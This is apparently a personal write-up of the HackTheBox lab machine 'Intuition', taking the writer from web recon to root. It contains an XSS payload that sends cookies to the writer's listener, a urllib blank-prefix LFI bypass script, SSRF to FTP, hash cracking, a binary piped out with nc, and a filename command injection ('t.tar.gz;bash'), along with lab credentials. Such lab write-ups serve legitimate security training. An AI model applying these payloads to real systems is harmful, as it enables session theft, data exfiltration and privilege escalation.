Intuition

Recon

nmap_scan.log|h-50%_styled
└─$ echo '10.10.11.14    comprezzor.htb' | sudo tee -a /etc/hosts
10.10.11.14    comprezzor.htb

HTTP (80)

Pasted_image_20240527212242.png

Dir enumeration returned nothing, since we have a vhost we could also enumerate that:

└─$ ffuf -u http://comprezzor.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.comprezzor.htb' -mc all -fw 6
       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://comprezzor.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.comprezzor.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 6
________________________________________________

auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 412ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 258ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 414ms]

└─$ tail -1 /etc/hosts
10.10.11.15    comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb  report.comprezzor.htb

report.comprezzor.htb:

Possible XSS?

To make reports we need account and auth subdomain lets us login/register.

Creds: hacka:hacka

XSS (Session Hijack)

[[xss-reflected-steal-cookie]]

Payload:

<img src=x onerror="this.src='http://10.10.16.74:8888/?'+document.cookie; this.removeAttribute('onerror');">
└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:02:04] "GET /?user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -

Change cookie and visit dashboard subdomain:

Now we are user webdev.

Submit a new report as webdev to gain admin access, it was described in About Bug Reports.

└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:06:32] "GET /?user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -

That didn't work...

The report gets deleted like after 10 seconds so we have to create a report as a user, make a request as webdev to escalate priority so admin can take a look at it:

└─$ curl 'http://dashboard.comprezzor.htb/change_priority?report_id=21&priority_level=1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 0' -H 'Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4'

Note: report_id your report id

Ok, so

  1. Do XSS as user

  2. Login and escalate report as webdev

  3. Listen for cookies

└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:56:26] "GET /?user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 200 -

LFI

Pasted_image_20240527212433.png
Pasted_image_20240527212443.png

Typical file:/// protocol wasn't working and it kept throwing invalid url error, let's see if we can make request to ourselves:

└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.15:42736.
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.74:4444
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

User-Agent is Python-urllib instead of Python-requests so it can be deducted that urllib.parse is used for parsing URLs.

After googling we find: CVE-2023–24329 Bypassing URL Blackslisting using Blank in Python urllib library

DESCRIPTION: Python could allow a remote attacker to bypass security restrictions, caused by a flaw in the urllib.parse component. By sending a specially-crafted request using URL starts with blank characters, an attacker could exploit this vulnerability to bypass blocklisting methods. source

Add a space in front and then file protocol:

It was really painful to view files though browser so here's a small script to read pdf files:

from pypdf import PdfReader
from io import BytesIO
import requests
import readline

URL = 'http://dashboard.comprezzor.htb/create_pdf_report'
COOKIES = {'user_data': 'eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'}

while True:
    file = input('File: ').strip()
    if file.lower() == 'q':
        break
    resp = requests.post(URL, cookies=COOKIES, data={'report_url': f' {file}'})
    data = BytesIO(resp.content)
    try:
        doc = PdfReader(data)
        for page in doc.pages:
            text = page.extract_text()
            print(text)
    except Exception as e:
        print(e)
└─$ py pdf_parser.py    
File: file:///etc/hostname
web.local
File: file:///proc/self/cmdline
python3/app/code/app.py
File: file:///app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
##  Limit  file size to  5MB ALLOWED_EXTENSIONS  =  {'txt', 'pdf', 'docx'}
##  Add more allowed file extensions  if  needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=80)

PDF output is terrible with spaces, but it's readable so yeah and I normalized it in above block... We have a secret key and imports.

From dashboard we get FTP credentials:

File: file:///app/code/blueprints/dashboard/dashboard.py
...
zipf.write(file_path,   arcname=arcname)
try:
ftp     =       FTP('ftp.local')
ftp.login(user='ftp_admin',     passwd='u3jai8y71s2')
ftp.cwd('/')
with
open(backup_filename,   'rb')   as      file:
...

FTP (SSRF)

Hmm.. but the port is not open, SSRF?

File: ftp://ftp_admin:u3jai8y71s2@ftp.local
-rw------- 1       root root 2655    May     15      10:55   private-8297.key        
-rw-r--r-- 1       root root 15519   May     15      10:55   welcome_note.pdf        
-rw-r--r-- 1       root root 1732    May     15      10:55   welcome_note.txt

Used ChatGPT to fix the spaces D:

File: ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
Dear Devs,

We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely delighted to have you on board.

Here, we value talent, innovation, and teamwork, and your presence here reaffirms our commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are invaluable assets that will contribute significantly to our continued growth and success.

As you settle into your new role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way, ensuring that you have the resources and knowledge necessary to thrive in your position.

To facilitate your work and access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out for assistance.

In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products.

Once again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing your exceptional contributions. Together, we will continue to achieve great things.

If you have any questions or need further information, please feel free to contact me at adam@comprezzor.htb.

Best regards,  
Adam

Nice, we have private key and it's password, but who does it belong to? [[Labs/HackTheBox/Seasonal/Season 5/Intuition/id_rsa]]

└─$ ssh-keygen -y -f id_rsa
Enter passphrase: 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

└─$ ssh dev_acc@comprezzor.htb -i id_rsa
Enter passphrase for key 'id_rsa': 
dev_acc@intuition:~$ 

SSH

User.txt

dev_acc@intuition:~$ cat user.txt 
500286e29ac629c8d4fd3a119a5a226e

Privileges Escalation (lopez)

Credentials from auth module:

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> SELECT * FROM users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
➜ .\hashcat.exe --show .\hashes
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

30120 | Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) | Framework

➜ .\hashcat.exe -m 30120 -a 0 .\hashes .\rockyou.txt
➜ .\hashcat.exe --show .\hashes
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

Note: Yes, the password has space

I tried changing to user adam, but it didn't work. I then tried FTP:

dev_acc@intuition:~$ ftp adam@localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||58283|).
150 File status okay. About to open data connection.
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34499|).
150 File status okay. About to open data connection.
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48989|).
150 File status okay. About to open data connection.
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
226 Transfer complete.
ftp> prompt
Interactive mode off.
ftp> mget * . # mget star dot
...
226 Transfer complete.
3815 bytes received in 00:00 (4.43 MiB/s)
ftp> bye
221 Goodbye.

dev_acc@intuition:~$ cat run-tests.sh
##!/bin/bash

## List playbooks
./runner1 list

## Run playbooks [Need authentication]
## ./runner run [playbook number] -a [auth code]
##./runner1 run 1 -a "UHI75GHI****"

## Install roles [Need authentication]
## ./runner install [role url] -a [auth code]
##./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

runner1.c|h-50%

Right away we see AUTH_KEY_HAS, since we don't know last 4 it can be bruteforced:

➜ .\hashcat.exe -m 0 -a 3 '0feda17076d793c2ef2870d7427ad4ed' 'UHI75GHI?a?a?a?a'
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

Hmm... /opt contains runner2 and it's probably version 2, we have version 1...

dev_acc@intuition:~$ ls /opt/
containerd  ftp  google  playbooks  runner2
dev_acc@intuition:~$ ls /opt/runner2/
ls: cannot open directory '/opt/runner2/': Permission denied

Enumerate files readable to us which are owned by users:

dev_acc@intuition:~$ find / -user adam -group adam 2>/dev/null | grep -vE '/(proc|sys|lib|run)/'
/home/adam
dev_acc@intuition:~$ find / -user lopez -group lopez 2>/dev/null | grep -vE '/(proc|sys|lib|run)/'
/home/lopez
/usr/share/ansible/roles/kavi.tar/meta/main.yml
/usr/share/ansible/roles/kavi.tar/symlink

Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine developed by the OISF and the Suricata community. suricata

Let's see what we can dig up in the logs:

// dev_acc@intuition:/var/log/suricata$ zgrep 'password' ./*.gz -iwE --color=auto | grep -vi fuzz | xargs -0 echo | cut -d ':' -f2- | jq -c
{"timestamp":"2023-09-28T17:43:25.975499+0000","flow_id":2173767694113635,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":34404,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:bkIDx3KQer9KeG3bmkm8RH0TuCI=","ftp":{"command":"USER","command_data":"testing","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}

---

// dev_acc@intuition:/var/log/suricata$ zgrep '"PASS"' ./*.gz -iwE --color=auto | grep -vi fuzz | xargs -0 echo | cut -d ':' -f2- | jq -c
{"timestamp":"2023-09-28T17:43:29.917563+0000","flow_id":2173767694113635,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":34404,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:bkIDx3KQer9KeG3bmkm8RH0TuCI=","ftp":{"command":"PASS","command_data":"tesgin","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}

Creds: lopez:Lopezz1992%123

Switch user with su - lopez

Privileges Escalation (root)

lopez is part of sys-adm group so we can view /opt/runner2:

lopez@intuition:/opt/runner2$ groups
lopez sys-adm
lopez@intuition:/opt/runner2$ ls -alh /opt
total 28K
drwxr-xr-x  7 root root    4.0K Apr 10 08:21 .
drwxr-xr-x 19 root root    4.0K Apr 10 07:40 ..
drwx--x--x  4 root root    4.0K Aug 26  2023 containerd
drwxr-xr-x  4 root root    4.0K Sep 19  2023 ftp
drwxr-xr-x  3 root root    4.0K Apr 10 08:21 google
drwxr-x---  2 root sys-adm 4.0K Apr 10 08:21 playbooks
drwxr-x---  2 root sys-adm 4.0K Apr 10 08:21 runner2
lopez@intuition:/opt/runner2$ ./runner2
Usage: ./runner2 <json_file>
lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

Let's download the file and inspect what kind of JSON it expects:

lopez@intuition:/opt/runner2$ base64 /opt/runner2/runner2 |  nc 10.10.16.74 80
---
└─$ listen 80 > runner2.base64
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.15:58696.
^C

└─$ base64 -d runner2.base64 > runner2

└─$ file runner2
runner2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e1d85ed284e278ad7ab92c2208e4d34cbdceec24, for GNU/Linux 3.2.0, not stripped

The run command has less control then install. run is checked that file ends with .yml and it must be in /opt/playbooks where we don't have write access.install takes ansible template and does operation on it. Filename is controlled from JSON so injecting commands isn't a problem since ; character is allowed on Linux filesystem.

lopez@intuition:/tmp$ nano t.json
lopez@intuition:/tmp$ cat t.json
{
        "run": {
                "action": "install",
                "role_file": "/tmp/t.tar.gz;bash"
        },
        "auth_code": "UHI75GHINKOP"
}
lopez@intuition:/tmp$ tar -czvf 't.tar.gz;bash' t.json
lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/t.json
Starting galaxy role install process
[WARNING]: - /tmp/t.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy
at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/tmp# cd /root
root@intuition:~# ls
keys  root.txt  scripts  snap
root@intuition:~# cat root.txt
e5f623955f248cbb5c19d7c84b2f8c22

Writeups used: https://blog.taipanbyte.ru/hackthebox/Intuition-HTB-Writeup

Note: I decided to use Syncthing for syncing my notes on phone, but shit went sideways and everything got deleted from notes. Luckily I recovered files with DMDE software, but wasn't so lucky with images. Hence they are taken from writeup above!

Last updated